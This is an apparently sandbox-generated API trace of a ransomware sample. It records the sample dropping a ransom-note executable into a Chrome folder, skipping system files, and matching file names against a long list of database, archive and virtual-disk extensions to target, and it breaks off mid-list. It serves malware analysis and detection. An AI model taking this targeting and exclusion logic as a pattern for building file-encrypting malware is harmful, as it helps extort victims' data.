	[0055.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0055.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0055.522] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics") returned 61
	[0055.522] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics"
	[0055.522] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.522] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.526] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.526] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x392bb190, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x392bb190, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.526] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.526] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.526] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.526] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x392bb190, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x392bb190, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.526] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.526] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.526] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.526] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.526] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e110e80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e110e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e110e80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="20170605115313.pma", cAlternateFileName="201706~1.PMA")) returned 1
	[0055.526] lstrcmpiW (lpString1="20170605115313.pma", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.526] lstrcmpiW (lpString1="20170605115313.pma", lpString2="Apollon865.txt.exe") returned -1
	[0055.526] lstrcmpiW (lpString1="20170605115313.pma", lpString2=".") returned 1
	[0055.526] lstrcmpiW (lpString1="20170605115313.pma", lpString2="..") returned 1
	[0055.526] lstrcmpiW (lpString1="20170605115313.pma", lpString2="windows") returned -1
	[0055.526] lstrcmpiW (lpString1="20170605115313.pma", lpString2="bootmgr") returned -1
	[0055.526] lstrcmpiW (lpString1="20170605115313.pma", lpString2="temp") returned -1
	[0055.526] lstrcmpiW (lpString1="20170605115313.pma", lpString2="pagefile.sys") returned -1
	[0055.526] lstrcmpiW (lpString1="20170605115313.pma", lpString2="boot") returned -1
	[0055.526] lstrcmpiW (lpString1="20170605115313.pma", lpString2="ids.txt") returned -1
	[0055.526] lstrcmpiW (lpString1="20170605115313.pma", lpString2="ntuser.dat") returned -1
	[0055.527] lstrcmpiW (lpString1="20170605115313.pma", lpString2="perflogs") returned -1
	[0055.527] lstrcmpiW (lpString1="20170605115313.pma", lpString2="MSBuild") returned -1
	[0055.527] lstrlenW (lpString="20170605115313.pma") returned 18
	[0055.527] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*") returned 63
	[0055.527] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="20170605115313.pma" | out: lpString1="20170605115313.pma") returned="20170605115313.pma"
	[0055.527] lstrlenW (lpString="20170605115313.pma") returned 18
	[0055.527] lstrlenW (lpString="Apollon865") returned 10
	[0055.527] lstrcmpiW (lpString1="115313.pma", lpString2="Apollon865") returned -1
	[0055.527] lstrlenW (lpString=".dll") returned 4
	[0055.527] lstrcmpiW (lpString1="20170605115313.pma", lpString2=".dll") returned 1
	[0055.527] lstrlenW (lpString=".lnk") returned 4
	[0055.527] lstrcmpiW (lpString1="20170605115313.pma", lpString2=".lnk") returned 1
	[0055.527] lstrlenW (lpString=".ini") returned 4
	[0055.527] lstrcmpiW (lpString1="20170605115313.pma", lpString2=".ini") returned 1
	[0055.527] lstrlenW (lpString=".sys") returned 4
	[0055.527] lstrcmpiW (lpString1="20170605115313.pma", lpString2=".sys") returned 1
	[0055.527] lstrlenW (lpString="20170605115313.pma") returned 18
	[0055.527] lstrlenW (lpString="bak") returned 3
	[0055.527] lstrcmpiW (lpString1="pma", lpString2="bak") returned 1
	[0055.527] lstrlenW (lpString="ba_") returned 3
	[0055.527] lstrcmpiW (lpString1="pma", lpString2="ba_") returned 1
	[0055.527] lstrlenW (lpString="dbb") returned 3
	[0055.527] lstrcmpiW (lpString1="pma", lpString2="dbb") returned 1
	[0055.527] lstrlenW (lpString="vmdk") returned 4
	[0055.527] lstrcmpiW (lpString1=".pma", lpString2="vmdk") returned -1
	[0055.527] lstrlenW (lpString="rar") returned 3
	[0055.527] lstrcmpiW (lpString1="pma", lpString2="rar") returned -1
	[0055.527] lstrlenW (lpString="zip") returned 3
	[0055.527] lstrcmpiW (lpString1="pma", lpString2="zip") returned -1
	[0055.527] lstrlenW (lpString="tgz") returned 3
	[0055.527] lstrcmpiW (lpString1="pma", lpString2="tgz") returned -1
	[0055.527] lstrlenW (lpString="vbox") returned 4
	[0055.527] lstrcmpiW (lpString1=".pma", lpString2="vbox") returned -1
	[0055.527] lstrlenW (lpString="vdi") returned 3
	[0055.527] lstrcmpiW (lpString1="pma", lpString2="vdi") returned -1
	[0055.528] lstrlenW (lpString="vhd") returned 3
	[0055.528] lstrcmpiW (lpString1="pma", lpString2="vhd") returned -1
	[0055.528] lstrlenW (lpString="vhdx") returned 4
	[0055.528] lstrcmpiW (lpString1=".pma", lpString2="vhdx") returned -1
	[0055.528] lstrlenW (lpString="avhd") returned 4
	[0055.528] lstrcmpiW (lpString1=".pma", lpString2="avhd") returned -1
	[0055.528] lstrlenW (lpString="db") returned 2
	[0055.528] lstrcmpiW (lpString1="ma", lpString2="db") returned 1
	[0055.528] lstrlenW (lpString="db2") returned 3
	[0055.528] lstrcmpiW (lpString1="pma", lpString2="db2") returned 1
	[0055.528] lstrlenW (lpString="db3") returned 3
	[0055.528] lstrcmpiW (lpString1="pma", lpString2="db3") returned 1
	[0055.528] lstrlenW (lpString="dbf") returned 3
	[0055.528] lstrcmpiW (lpString1="pma", lpString2="dbf") returned 1
	[0055.528] lstrlenW (lpString="mdf") returned 3
	[0055.528] lstrcmpiW (lpString1="pma", lpString2="mdf") returned 1
	[0055.528] lstrlenW (lpString="mdb") returned 3
	[0055.528] lstrcmpiW (lpString1="pma", lpString2="mdb") returned 1
	[0055.528] lstrlenW (lpString="sql") returned 3
	[0055.528] lstrcmpiW (lpString1="pma", lpString2="sql") returned -1
	[0055.528] lstrlenW (lpString="sqlite") returned 6
	[0055.528] lstrcmpiW (lpString1="13.pma", lpString2="sqlite") returned -1
	[0055.528] lstrlenW (lpString="sqlite3") returned 7
	[0055.528] lstrcmpiW (lpString1="313.pma", lpString2="sqlite3") returned -1
	[0055.528] lstrlenW (lpString="sqlitedb") returned 8
	[0055.528] lstrcmpiW (lpString1="5313.pma", lpString2="sqlitedb") returned -1
	[0055.528] lstrlenW (lpString="xml") returned 3
	[0055.528] lstrcmpiW (lpString1="pma", lpString2="xml") returned -1
	[0055.528] lstrlenW (lpString="$er") returned 3
	[0055.528] lstrcmpiW (lpString1="pma", lpString2="$er") returned 1
	[0055.528] lstrlenW (lpString="4dd") returned 3
	[0055.528] lstrcmpiW (lpString1="pma", lpString2="4dd") returned 1
	[0055.528] lstrlenW (lpString="4dl") returned 3
	[0055.528] lstrcmpiW (lpString1="pma", lpString2="4dl") returned 1
	[0055.528] lstrlenW (lpString="^^^") returned 3
	[0055.528] lstrcmpiW (lpString1="pma", lpString2="^^^") returned 1
	[0055.529] lstrlenW (lpString="abs") returned 3
	[0055.529] lstrcmpiW (lpString1="pma", lpString2="abs") returned 1
	[0055.529] lstrlenW (lpString="abx") returned 3
	[0055.529] lstrcmpiW (lpString1="pma", lpString2="abx") returned 1
	[0055.529] lstrlenW (lpString="accdb") returned 5
	[0055.529] lstrcmpiW (lpString1="3.pma", lpString2="accdb") returned -1
	[0055.529] lstrlenW (lpString="accdc") returned 5
	[0055.529] lstrcmpiW (lpString1="3.pma", lpString2="accdc") returned -1
	[0055.529] lstrlenW (lpString="accde") returned 5
	[0055.529] lstrcmpiW (lpString1="3.pma", lpString2="accde") returned -1
	[0055.529] lstrlenW (lpString="accdr") returned 5
	[0055.529] lstrcmpiW (lpString1="3.pma", lpString2="accdr") returned -1
	[0055.529] lstrlenW (lpString="accdt") returned 5
	[0055.529] lstrcmpiW (lpString1="3.pma", lpString2="accdt") returned -1
	[0055.529] lstrlenW (lpString="accdw") returned 5
	[0055.529] lstrcmpiW (lpString1="3.pma", lpString2="accdw") returned -1
	[0055.529] lstrlenW (lpString="accft") returned 5
	[0055.529] lstrcmpiW (lpString1="3.pma", lpString2="accft") returned -1
	[0055.529] lstrlenW (lpString="adb") returned 3
	[0055.529] lstrcmpiW (lpString1="pma", lpString2="adb") returned 1
	[0055.529] lstrlenW (lpString="adb") returned 3
	[0055.529] lstrcmpiW (lpString1="pma", lpString2="adb") returned 1
	[0055.529] lstrlenW (lpString="ade") returned 3
	[0055.529] lstrcmpiW (lpString1="pma", lpString2="ade") returned 1
	[0055.529] lstrlenW (lpString="adf") returned 3
	[0055.529] lstrcmpiW (lpString1="pma", lpString2="adf") returned 1
	[0055.529] lstrlenW (lpString="adn") returned 3
	[0055.529] lstrcmpiW (lpString1="pma", lpString2="adn") returned 1
	[0055.529] lstrlenW (lpString="adp") returned 3
	[0055.529] lstrcmpiW (lpString1="pma", lpString2="adp") returned 1
	[0055.529] lstrlenW (lpString="alf") returned 3
	[0055.529] lstrcmpiW (lpString1="pma", lpString2="alf") returned 1
	[0055.529] lstrlenW (lpString="ask") returned 3
	[0055.529] lstrcmpiW (lpString1="pma", lpString2="ask") returned 1
	[0055.530] lstrlenW (lpString="btr") returned 3
	[0055.530] lstrcmpiW (lpString1="pma", lpString2="btr") returned 1
	[0055.530] lstrlenW (lpString="cat") returned 3
	[0055.530] lstrcmpiW (lpString1="pma", lpString2="cat") returned 1
	[0055.530] lstrlenW (lpString="cdb") returned 3
	[0055.530] lstrcmpiW (lpString1="pma", lpString2="cdb") returned 1
	[0055.530] lstrlenW (lpString="ckp") returned 3
	[0055.530] lstrcmpiW (lpString1="pma", lpString2="ckp") returned 1
	[0055.530] lstrlenW (lpString="cma") returned 3
	[0055.530] lstrcmpiW (lpString1="pma", lpString2="cma") returned 1
	[0055.530] lstrlenW (lpString="cpd") returned 3
	[0055.530] lstrcmpiW (lpString1="pma", lpString2="cpd") returned 1
	[0055.530] lstrlenW (lpString="dacpac") returned 6
	[0055.530] lstrcmpiW (lpString1="13.pma", lpString2="dacpac") returned -1
	[0055.530] lstrlenW (lpString="dad") returned 3
	[0055.530] lstrcmpiW (lpString1="pma", lpString2="dad") returned 1
	[0055.530] lstrlenW (lpString="dadiagrams") returned 10
	[0055.530] lstrcmpiW (lpString1="115313.pma", lpString2="dadiagrams") returned -1
	[0055.530] lstrlenW (lpString="daschema") returned 8
	[0055.530] lstrcmpiW (lpString1="5313.pma", lpString2="daschema") returned -1
	[0055.530] lstrlenW (lpString="db-journal") returned 10
	[0055.530] lstrcmpiW (lpString1="115313.pma", lpString2="db-journal") returned -1
	[0055.530] lstrlenW (lpString="db-shm") returned 6
	[0055.530] lstrcmpiW (lpString1="13.pma", lpString2="db-shm") returned -1
	[0055.530] lstrlenW (lpString="db-wal") returned 6
	[0055.530] lstrcmpiW (lpString1="13.pma", lpString2="db-wal") returned -1
	[0055.530] lstrlenW (lpString="dbc") returned 3
	[0055.530] lstrcmpiW (lpString1="pma", lpString2="dbc") returned 1
	[0055.530] lstrlenW (lpString="dbs") returned 3
	[0055.530] lstrcmpiW (lpString1="pma", lpString2="dbs") returned 1
	[0055.530] lstrlenW (lpString="dbt") returned 3
	[0055.530] lstrcmpiW (lpString1="pma", lpString2="dbt") returned 1
	[0055.530] lstrlenW (lpString="dbv") returned 3
	[0055.530] lstrcmpiW (lpString1="pma", lpString2="dbv") returned 1
	[0055.530] lstrlenW (lpString="dbx") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="dbx") returned 1
	[0055.531] lstrlenW (lpString="dcb") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="dcb") returned 1
	[0055.531] lstrlenW (lpString="dct") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="dct") returned 1
	[0055.531] lstrlenW (lpString="dcx") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="dcx") returned 1
	[0055.531] lstrlenW (lpString="ddl") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="ddl") returned 1
	[0055.531] lstrlenW (lpString="dlis") returned 4
	[0055.531] lstrcmpiW (lpString1=".pma", lpString2="dlis") returned -1
	[0055.531] lstrlenW (lpString="dp1") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="dp1") returned 1
	[0055.531] lstrlenW (lpString="dqy") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="dqy") returned 1
	[0055.531] lstrlenW (lpString="dsk") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="dsk") returned 1
	[0055.531] lstrlenW (lpString="dsn") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="dsn") returned 1
	[0055.531] lstrlenW (lpString="dtsx") returned 4
	[0055.531] lstrcmpiW (lpString1=".pma", lpString2="dtsx") returned -1
	[0055.531] lstrlenW (lpString="dxl") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="dxl") returned 1
	[0055.531] lstrlenW (lpString="eco") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="eco") returned 1
	[0055.531] lstrlenW (lpString="ecx") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="ecx") returned 1
	[0055.531] lstrlenW (lpString="edb") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="edb") returned 1
	[0055.531] lstrlenW (lpString="epim") returned 4
	[0055.531] lstrcmpiW (lpString1=".pma", lpString2="epim") returned -1
	[0055.531] lstrlenW (lpString="fcd") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="fcd") returned 1
	[0055.531] lstrlenW (lpString="fdb") returned 3
	[0055.531] lstrcmpiW (lpString1="pma", lpString2="fdb") returned 1
	[0055.531] lstrlenW (lpString="fic") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="fic") returned 1
	[0055.532] lstrlenW (lpString="flexolibrary") returned 12
	[0055.532] lstrcmpiW (lpString1="05115313.pma", lpString2="flexolibrary") returned -1
	[0055.532] lstrlenW (lpString="fm5") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="fm5") returned 1
	[0055.532] lstrlenW (lpString="fmp") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="fmp") returned 1
	[0055.532] lstrlenW (lpString="fmp12") returned 5
	[0055.532] lstrcmpiW (lpString1="3.pma", lpString2="fmp12") returned -1
	[0055.532] lstrlenW (lpString="fmpsl") returned 5
	[0055.532] lstrcmpiW (lpString1="3.pma", lpString2="fmpsl") returned -1
	[0055.532] lstrlenW (lpString="fol") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="fol") returned 1
	[0055.532] lstrlenW (lpString="fp3") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="fp3") returned 1
	[0055.532] lstrlenW (lpString="fp4") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="fp4") returned 1
	[0055.532] lstrlenW (lpString="fp5") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="fp5") returned 1
	[0055.532] lstrlenW (lpString="fp7") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="fp7") returned 1
	[0055.532] lstrlenW (lpString="fpt") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="fpt") returned 1
	[0055.532] lstrlenW (lpString="frm") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="frm") returned 1
	[0055.532] lstrlenW (lpString="gdb") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="gdb") returned 1
	[0055.532] lstrlenW (lpString="gdb") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="gdb") returned 1
	[0055.532] lstrlenW (lpString="grdb") returned 4
	[0055.532] lstrcmpiW (lpString1=".pma", lpString2="grdb") returned -1
	[0055.532] lstrlenW (lpString="gwi") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="gwi") returned 1
	[0055.532] lstrlenW (lpString="hdb") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="hdb") returned 1
	[0055.532] lstrlenW (lpString="his") returned 3
	[0055.532] lstrcmpiW (lpString1="pma", lpString2="his") returned 1
	[0055.533] lstrlenW (lpString="ib") returned 2
	[0055.533] lstrcmpiW (lpString1="ma", lpString2="ib") returned 1
	[0055.533] lstrlenW (lpString="idb") returned 3
	[0055.533] lstrcmpiW (lpString1="pma", lpString2="idb") returned 1
	[0055.533] lstrlenW (lpString="ihx") returned 3
	[0055.533] lstrcmpiW (lpString1="pma", lpString2="ihx") returned 1
	[0055.533] lstrlenW (lpString="itdb") returned 4
	[0055.533] lstrcmpiW (lpString1=".pma", lpString2="itdb") returned -1
	[0055.533] lstrlenW (lpString="itw") returned 3
	[0055.533] lstrcmpiW (lpString1="pma", lpString2="itw") returned 1
	[0055.533] lstrlenW (lpString="jet") returned 3
	[0055.533] lstrcmpiW (lpString1="pma", lpString2="jet") returned 1
	[0055.533] lstrlenW (lpString="jtx") returned 3
	[0055.533] lstrcmpiW (lpString1="pma", lpString2="jtx") returned 1
	[0055.533] lstrlenW (lpString="kdb") returned 3
	[0055.533] lstrcmpiW (lpString1="pma", lpString2="kdb") returned 1
	[0055.533] lstrlenW (lpString="kexi") returned 4
	[0055.533] lstrcmpiW (lpString1=".pma", lpString2="kexi") returned -1
	[0055.533] lstrlenW (lpString="kexic") returned 5
	[0055.533] lstrcmpiW (lpString1="3.pma", lpString2="kexic") returned -1
	[0055.533] lstrlenW (lpString="kexis") returned 5
	[0055.533] lstrcmpiW (lpString1="3.pma", lpString2="kexis") returned -1
	[0055.533] lstrlenW (lpString="lgc") returned 3
	[0055.533] lstrcmpiW (lpString1="pma", lpString2="lgc") returned 1
	[0055.533] lstrlenW (lpString="lwx") returned 3
	[0055.533] lstrcmpiW (lpString1="pma", lpString2="lwx") returned 1
	[0055.533] lstrlenW (lpString="maf") returned 3
	[0055.533] lstrcmpiW (lpString1="pma", lpString2="maf") returned 1
	[0055.533] lstrlenW (lpString="maq") returned 3
	[0055.533] lstrcmpiW (lpString1="pma", lpString2="maq") returned 1
	[0055.533] lstrlenW (lpString="mar") returned 3
	[0055.533] lstrcmpiW (lpString1="pma", lpString2="mar") returned 1
	[0055.533] lstrlenW (lpString="marshal") returned 7
	[0055.533] lstrcmpiW (lpString1="313.pma", lpString2="marshal") returned -1
	[0055.533] lstrlenW (lpString="mas") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="mas") returned 1
	[0055.534] lstrlenW (lpString="mav") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="mav") returned 1
	[0055.534] lstrlenW (lpString="maw") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="maw") returned 1
	[0055.534] lstrlenW (lpString="mdbhtml") returned 7
	[0055.534] lstrcmpiW (lpString1="313.pma", lpString2="mdbhtml") returned -1
	[0055.534] lstrlenW (lpString="mdn") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="mdn") returned 1
	[0055.534] lstrlenW (lpString="mdt") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="mdt") returned 1
	[0055.534] lstrlenW (lpString="mfd") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="mfd") returned 1
	[0055.534] lstrlenW (lpString="mpd") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="mpd") returned 1
	[0055.534] lstrlenW (lpString="mrg") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="mrg") returned 1
	[0055.534] lstrlenW (lpString="mud") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="mud") returned 1
	[0055.534] lstrlenW (lpString="mwb") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="mwb") returned 1
	[0055.534] lstrlenW (lpString="myd") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="myd") returned 1
	[0055.534] lstrlenW (lpString="ndf") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="ndf") returned 1
	[0055.534] lstrlenW (lpString="nnt") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="nnt") returned 1
	[0055.534] lstrlenW (lpString="nrmlib") returned 6
	[0055.534] lstrcmpiW (lpString1="13.pma", lpString2="nrmlib") returned -1
	[0055.534] lstrlenW (lpString="ns2") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="ns2") returned 1
	[0055.534] lstrlenW (lpString="ns3") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="ns3") returned 1
	[0055.534] lstrlenW (lpString="ns4") returned 3
	[0055.534] lstrcmpiW (lpString1="pma", lpString2="ns4") returned 1
	[0055.535] lstrlenW (lpString="nsf") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="nsf") returned 1
	[0055.535] lstrlenW (lpString="nv") returned 2
	[0055.535] lstrcmpiW (lpString1="ma", lpString2="nv") returned -1
	[0055.535] lstrlenW (lpString="nv2") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="nv2") returned 1
	[0055.535] lstrlenW (lpString="nwdb") returned 4
	[0055.535] lstrcmpiW (lpString1=".pma", lpString2="nwdb") returned -1
	[0055.535] lstrlenW (lpString="nyf") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="nyf") returned 1
	[0055.535] lstrlenW (lpString="odb") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="odb") returned 1
	[0055.535] lstrlenW (lpString="odb") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="odb") returned 1
	[0055.535] lstrlenW (lpString="oqy") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="oqy") returned 1
	[0055.535] lstrlenW (lpString="ora") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="ora") returned 1
	[0055.535] lstrlenW (lpString="orx") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="orx") returned 1
	[0055.535] lstrlenW (lpString="owc") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="owc") returned 1
	[0055.535] lstrlenW (lpString="p96") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="p96") returned 1
	[0055.535] lstrlenW (lpString="p97") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="p97") returned 1
	[0055.535] lstrlenW (lpString="pan") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="pan") returned 1
	[0055.535] lstrlenW (lpString="pdb") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="pdb") returned 1
	[0055.535] lstrlenW (lpString="pdm") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="pdm") returned 1
	[0055.535] lstrlenW (lpString="pnz") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="pnz") returned -1
	[0055.535] lstrlenW (lpString="qry") returned 3
	[0055.535] lstrcmpiW (lpString1="pma", lpString2="qry") returned -1
	[0055.536] lstrlenW (lpString="qvd") returned 3
	[0055.536] lstrcmpiW (lpString1="pma", lpString2="qvd") returned -1
	[0055.536] lstrlenW (lpString="rbf") returned 3
	[0055.536] lstrcmpiW (lpString1="pma", lpString2="rbf") returned -1
	[0055.536] lstrlenW (lpString="rctd") returned 4
	[0055.536] lstrcmpiW (lpString1=".pma", lpString2="rctd") returned -1
	[0055.536] lstrlenW (lpString="rod") returned 3
	[0055.536] lstrcmpiW (lpString1="pma", lpString2="rod") returned -1
	[0055.536] lstrlenW (lpString="rodx") returned 4
	[0055.536] lstrcmpiW (lpString1=".pma", lpString2="rodx") returned -1
	[0055.536] lstrlenW (lpString="rpd") returned 3
	[0055.536] lstrcmpiW (lpString1="pma", lpString2="rpd") returned -1
	[0055.536] lstrlenW (lpString="rsd") returned 3
	[0055.536] lstrcmpiW (lpString1="pma", lpString2="rsd") returned -1
	[0055.536] lstrlenW (lpString="sas7bdat") returned 8
	[0055.536] lstrcmpiW (lpString1="5313.pma", lpString2="sas7bdat") returned -1
	[0055.536] lstrlenW (lpString="sbf") returned 3
	[0055.536] lstrcmpiW (lpString1="pma", lpString2="sbf") returned -1
	[0055.536] lstrlenW (lpString="scx") returned 3
	[0055.536] lstrcmpiW (lpString1="pma", lpString2="scx") returned -1
	[0055.536] lstrlenW (lpString="sdb") returned 3
	[0055.536] lstrcmpiW (lpString1="pma", lpString2="sdb") returned -1
	[0055.536] lstrlenW (lpString="sdc") returned 3
	[0055.536] lstrcmpiW (lpString1="pma", lpString2="sdc") returned -1
	[0055.536] lstrlenW (lpString="sdf") returned 3
	[0055.536] lstrcmpiW (lpString1="pma", lpString2="sdf") returned -1
	[0055.536] lstrlenW (lpString="sis") returned 3
	[0055.536] lstrcmpiW (lpString1="pma", lpString2="sis") returned -1
	[0055.536] lstrlenW (lpString="spq") returned 3
	[0055.536] lstrcmpiW (lpString1="pma", lpString2="spq") returned -1
	[0055.536] lstrlenW (lpString="te") returned 2
	[0055.536] lstrcmpiW (lpString1="ma", lpString2="te") returned -1
	[0055.536] lstrlenW (lpString="teacher") returned 7
	[0055.536] lstrcmpiW (lpString1="313.pma", lpString2="teacher") returned -1
	[0055.536] lstrlenW (lpString="tmd") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="tmd") returned -1
	[0055.537] lstrlenW (lpString="tps") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="tps") returned -1
	[0055.537] lstrlenW (lpString="trc") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="trc") returned -1
	[0055.537] lstrlenW (lpString="trc") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="trc") returned -1
	[0055.537] lstrlenW (lpString="trm") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="trm") returned -1
	[0055.537] lstrlenW (lpString="udb") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="udb") returned -1
	[0055.537] lstrlenW (lpString="udl") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="udl") returned -1
	[0055.537] lstrlenW (lpString="usr") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="usr") returned -1
	[0055.537] lstrlenW (lpString="v12") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="v12") returned -1
	[0055.537] lstrlenW (lpString="vis") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="vis") returned -1
	[0055.537] lstrlenW (lpString="vpd") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="vpd") returned -1
	[0055.537] lstrlenW (lpString="vvv") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="vvv") returned -1
	[0055.537] lstrlenW (lpString="wdb") returned 3
	[0055.537] lstrcmpiW (lpString1="pma", lpString2="wdb") returned -1
	[0055.537] lstrlenW (lpString="wmdb") returned 4
